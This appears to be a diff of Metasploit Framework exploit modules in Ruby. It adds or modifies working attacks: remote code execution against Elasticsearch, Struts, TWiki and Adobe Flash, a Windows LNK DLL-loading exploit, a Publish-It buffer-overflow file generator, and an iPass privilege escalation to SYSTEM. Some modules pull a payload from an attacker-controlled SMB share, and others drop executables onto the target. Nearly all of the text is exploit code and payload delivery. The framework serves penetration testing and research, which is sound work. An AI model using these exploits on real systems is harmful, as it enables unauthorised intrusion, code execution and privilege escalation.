result.is_a?(::Array) ? result.first : result
|
||||
end
|
||||
|
||||
def java_tmp_dir
|
||||
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
|
||||
end
|
||||
|
||||
def java_os
|
||||
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
|
||||
end
|
||||
|
||||
def java_load_class(os, tmp_file)
|
||||
if os =~ /win/i
|
||||
tmp_file.gsub!(/\\/, '\\\\\\\\')
|
||||
end
|
||||
|
||||
java = [
|
||||
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
|
||||
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
|
||||
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
|
||||
'b64_i=b64.newInstance();',
|
||||
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
|
||||
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
|
||||
'file_class=java.lang.Math.class.forName("java.io.File");',
|
||||
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
|
||||
'loader=loader_class.newInstance();',
|
||||
'loader.addURL(file_url);',
|
||||
'm=loader.loadClass(\'metasploit.Payload\');',
|
||||
'm.main(null);'
|
||||
]
|
||||
|
||||
java.join
|
||||
end
|
||||
|
||||
def execute(java, timeout = 20)
|
||||
payload = {
|
||||
"size" => 1,
|
||||
"query" => {
|
||||
"filtered" => {
|
||||
"query" => {
|
||||
"match_all" => {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"script_fields" => {
|
||||
"msf_result" => {
|
||||
"script" => java
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
|
||||
'method' => 'POST',
|
||||
'data' => JSON.generate(payload)
|
||||
}, timeout)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
['Windows / Tomcat 6 & 7 (Remote SMB Resource)',
|
||||
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'win'
|
||||
|
@ -84,12 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Opt::RPORT(8080),
|
||||
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
|
||||
OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']),
|
||||
OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example'])
|
||||
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS')
|
||||
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
|
||||
end
|
||||
|
||||
def jsp_dropper(file, exe)
|
||||
|
@ -202,11 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
payload_file = rand_text_alphanumeric(4 + rand(4))
|
||||
jsp = jsp_dropper(payload_file, payload_exe)
|
||||
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
|
||||
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
|
||||
else
|
||||
register_files_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
register_files_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
jsp
|
||||
|
@ -226,6 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Used with SMB targets
|
||||
def primer
|
||||
self.file_name << '.jsp'
|
||||
self.file_contents = payload.encoded
|
||||
print_status("JSP payload available on #{unc}...")
|
||||
|
||||
|
@ -235,9 +231,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
|
||||
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
|
||||
}
|
||||
})
|
||||
|
||||
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
|
||||
jsp_shell << "/#{self.file_name}"
|
||||
|
||||
print_status("#{peer} - Accessing JSP shell at #{jsp_shell}...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(jsp_shell),
|
||||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
})
|
||||
end
|
||||
|
||||
def class_loader_exploit
|
||||
|
@ -265,11 +271,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
|
||||
end
|
||||
|
||||
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
|
||||
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
|
||||
else
|
||||
register_files_for_cleanup(@jsp_file)
|
||||
end
|
||||
# This path depends on CWD. May require manual cleanup
|
||||
# See https://github.com/rapid7/metasploit-framework/issues/4667
|
||||
print_warning("This exploit requires manual cleanup of '#{@jsp_file}' on the target")
|
||||
|
||||
# Prepare the JSP
|
||||
print_status("#{peer} - Generating JSP...")
|
||||
|
@ -288,9 +292,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
# Check log file... enjoy shell!
|
||||
unless target['Arch'] == ARCH_JAVA
|
||||
check_log_file(random_request)
|
||||
end
|
||||
check_log_file(random_request)
|
||||
|
||||
# No matter what happened, try to 'restore' the Class Loader
|
||||
properties = {
|
||||
|
@ -300,11 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:file_date_format => ''
|
||||
}
|
||||
modify_class_loader(properties)
|
||||
|
||||
if target['Arch'] == ARCH_JAVA
|
||||
send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) })
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
|
||||
'Description' => %q{
|
||||
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
|
||||
The value of the debugenableplugins parameter is used without proper sanitization
|
||||
in an Perl eval statement which allows remote code execution
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Netanel Rubin', # from Check Point - Discovery
|
||||
'h0ng10', # Metasploit Module
|
||||
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-7236'],
|
||||
[ 'OSVDB', '112977'],
|
||||
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python php',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 09 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
|
||||
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def send_code(perl_code)
|
||||
uri = target_uri.path
|
||||
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'data' => data
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
rand_1 = rand_text_alpha(5)
|
||||
rand_2 = rand_text_alpha(5)
|
||||
|
||||
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
|
||||
res = send_code(code)
|
||||
|
||||
if res and res.code == 200
|
||||
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
|
||||
end
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
|
||||
code += "require('MIME/Base64.pm');MIME::Base64->import();"
|
||||
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
|
||||
res = send_code(code)
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
|
||||
in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
|
||||
a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mark Brand', # Found vuln
|
||||
'sinn3r' # MSF
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0318' ],
|
||||
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Retries' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{#{CLASSID}}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
|
||||
# So we're gonna limit to this one for now. More validation needed in the future.
|
||||
:flash => lambda { |ver| ver == '16.0.0.235' }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 25 2014",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Please see data/exploits/CVE-2015-0318/ for source,
|
||||
# that's where the actual exploit is
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
attr_accessor :dll_base_name
|
||||
attr_accessor :exploit_dll_base_name
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Shell LNK Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
|
||||
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
|
||||
DLL. This module creates the required files to exploit the vulnerability. They must be
|
||||
uploaded to an UNC path accessible by the target. This module has been tested successfully
|
||||
on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
|
||||
installed.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Heerklotz', # Vulnerability discovery
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0096'],
|
||||
['MSB', 'MS15-020'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', { }]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 10 2015',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']),
|
||||
OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']),
|
||||
OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def smb_host
|
||||
"\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\"
|
||||
end
|
||||
|
||||
def exploit_dll_filename
|
||||
name_length = 257 - (smb_host.length + 4 + 2)
|
||||
|
||||
self.dll_base_name = dll_base_name || rand_text_alpha(1)
|
||||
self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length)
|
||||
|
||||
"#{dll_base_name} #{exploit_dll_base_name}.dll"
|
||||
end
|
||||
|
||||
def dll_filename
|
||||
self.dll_base_name = dll_base_name || rand_text_alpha(1)
|
||||
|
||||
"#{dll_base_name}.dll"
|
||||
end
|
||||
|
||||
def create_exploit_file(file_name, data)
|
||||
unless ::File.directory?(Msf::Config.local_directory)
|
||||
FileUtils.mkdir_p(Msf::Config.local_directory)
|
||||
end
|
||||
path = File.join(Msf::Config.local_directory, file_name)
|
||||
full_path = ::File.expand_path(path)
|
||||
File.open(full_path, 'wb') { |fd| fd.write(data) }
|
||||
|
||||
full_path
|
||||
end
|
||||
|
||||
def dll_create(data)
|
||||
full_path = create_exploit_file(dll_filename, data)
|
||||
|
||||
print_good "DLL with payload stored at #{full_path}"
|
||||
end
|
||||
|
||||
def exploit_dll_create(data)
|
||||
full_path = create_exploit_file(exploit_dll_filename, data)
|
||||
|
||||
print_good "Fake dll to exploit stored at #{full_path}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
dll = generate_payload_dll
|
||||
dll_create(dll)
|
||||
exploit_dll_create(dll)
|
||||
|
||||
lnk = generate_link("#{smb_host}#{exploit_dll_filename}")
|
||||
file_create(lnk)
|
||||
end
|
||||
|
||||
# stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H'
|
||||
def generate_link(unc)
|
||||
uni_unc = unc.unpack('C*').pack('v*')
|
||||
path = ''
|
||||
path << [
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
path << uni_unc
|
||||
|
||||
# LinkHeader
|
||||
ret = [
|
||||
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
].pack('C*')
|
||||
|
||||
idlist_data = ''
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [0x12 + 2].pack('v')
|
||||
idlist_data << [
|
||||
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [path.length + 2].pack('v')
|
||||
idlist_data << path
|
||||
idlist_data << [0x00].pack('v') # TERMINAL WOO
|
||||
|
||||
# LinkTargetIDList
|
||||
ret << [idlist_data.length].pack('v') # IDListSize
|
||||
ret << idlist_data
|
||||
|
||||
# ExtraData blocks (none)
|
||||
ret << [rand(4)].pack('V')
|
||||
|
||||
# Patch in the LinkFlags
|
||||
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
|
||||
|
||||
ret
|
||||
end
|
||||
end
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Publish-It when
|
||||
processing a specially crafted .PUI file. This vulnerability could be
|
||||
exploited by a remote attacker to execute arbitrary code on the target
|
||||
machine by enticing a user of Publish-It to open a malicious .PUI file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Kazimirow', # Original discovery
|
||||
'Andrew Smith "jakx_"', # Exploit and MSF Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '102911' ],
|
||||
[ 'CVE', '2014-0980' ],
|
||||
[ 'EDB', '31461' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0b\x0a",
|
||||
'DisableNops' => true,
|
||||
'Space' => 377
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Publish-It 3.6d',
|
||||
{
|
||||
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
|
||||
'Offset' => 1082
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Feb 5 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
|
||||
fd = File.open(path, "rb")
|
||||
template_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
buffer = template_data
|
||||
buffer << make_nops(700)
|
||||
buffer << payload.encoded
|
||||
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
|
||||
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
|
||||
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
|
||||
buffer << make_nops(2)
|
||||
buffer << [target.ret].pack("V")
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create(buffer)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,181 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'iPass Mobile Client Service Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
|
||||
with the iPass service. The service provides a LaunchAppSysMode command which
|
||||
allows to execute arbitrary commands as SYSTEM.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h0ng10' # Vulnerability discovery, metasploit module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 12 2015',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options([
|
||||
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo['OS']
|
||||
|
||||
unless os =~ /windows/i
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
svc = service_info('iPlatformService')
|
||||
if svc && svc[:display] =~ /iPlatformService/
|
||||
vprint_good("Found service '#{svc[:display]}'")
|
||||
if is_running?
|
||||
vprint_good('Service is running')
|
||||
else
|
||||
vprint_error('Service is not running!')
|
||||
end
|
||||
|
||||
vprint_good('Opening named pipe...')
|
||||
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
|
||||
|
||||
if handle.nil?
|
||||
vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def open_named_pipe(pipe)
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
|
||||
handle = r['return']
|
||||
|
||||
return nil if handle == invalid_handle_value
|
||||
|
||||
handle
|
||||
end
|
||||
|
||||
def write_named_pipe(handle, command)
|
||||
buffer = Rex::Text.to_unicode(command)
|
||||
w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
|
||||
|
||||
if w['return'] == false
|
||||
print_error('The was an error writing to pipe, check permissions')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
def is_running?
|
||||
begin
|
||||
status = service_status('iPlatformService')
|
||||
rescue RuntimeError => e
|
||||
print_error('Unable to retrieve service status')
|
||||
return false
|
||||
end
|
||||
|
||||
return status && status[:state] == 4
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::NoTarget, 'Session is already elevated')
|
||||
end
|
||||
|
||||
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
|
||||
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
|
||||
else
|
||||
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
|
||||
end
|
||||
|
||||
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
|
||||
temp_dir = datastore['WritableDir']
|
||||
else
|
||||
temp_dir = client.sys.config.getenv('TEMP')
|
||||
end
|
||||
|
||||
print_status("Using #{temp_dir} to drop malicious exe")
|
||||
|
||||
begin
|
||||
cd(temp_dir)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
|
||||
end
|
||||
|
||||
print_status('Writing malicious exe to remote filesystem')
|
||||
write_path = pwd
|
||||
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
|
||||
|
||||
begin
|
||||
write_file(exe_name, generate_payload_exe)
|
||||
register_file_for_cleanup("#{write_path}\\#{exe_name}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
|
||||
end
|
||||
|
||||
print_status('Sending LauchAppSysMode command')
|
||||
|
||||
begin
|
||||
write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
||||
unless write_res
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -135,8 +135,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
begin
|
||||
write_file(tempvbs, vbs)
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
|
||||
@clean_up_rc << "rm #{tempvbs}\n"
|
||||
# Escape windows pathname separators.
|
||||
@clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n"
|
||||
rescue
|
||||
print_error("Could not write the payload on the target hosts.")
|
||||
